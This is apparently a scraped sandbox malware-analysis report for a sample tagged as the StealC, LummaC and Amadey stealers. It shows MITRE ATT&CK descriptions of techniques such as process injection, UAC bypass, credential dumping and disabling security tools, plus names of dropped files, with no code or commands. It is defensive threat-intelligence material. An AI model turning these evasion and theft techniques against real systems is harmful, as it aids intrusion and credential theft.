Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AEGHIJEHJDHIDHIDAEHC

C:\ProgramData\BFHDHJKKJDHJJJJKEGHIDGDHDA

C:\ProgramData\CAEBGHDB

C:\ProgramData\CGDGHCBG

C:\ProgramData\DAAAKFHIEGDGCAAAEGDG

C:\ProgramData\IDHDGIEHJJJJEBGDAFHJEBGDGI

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre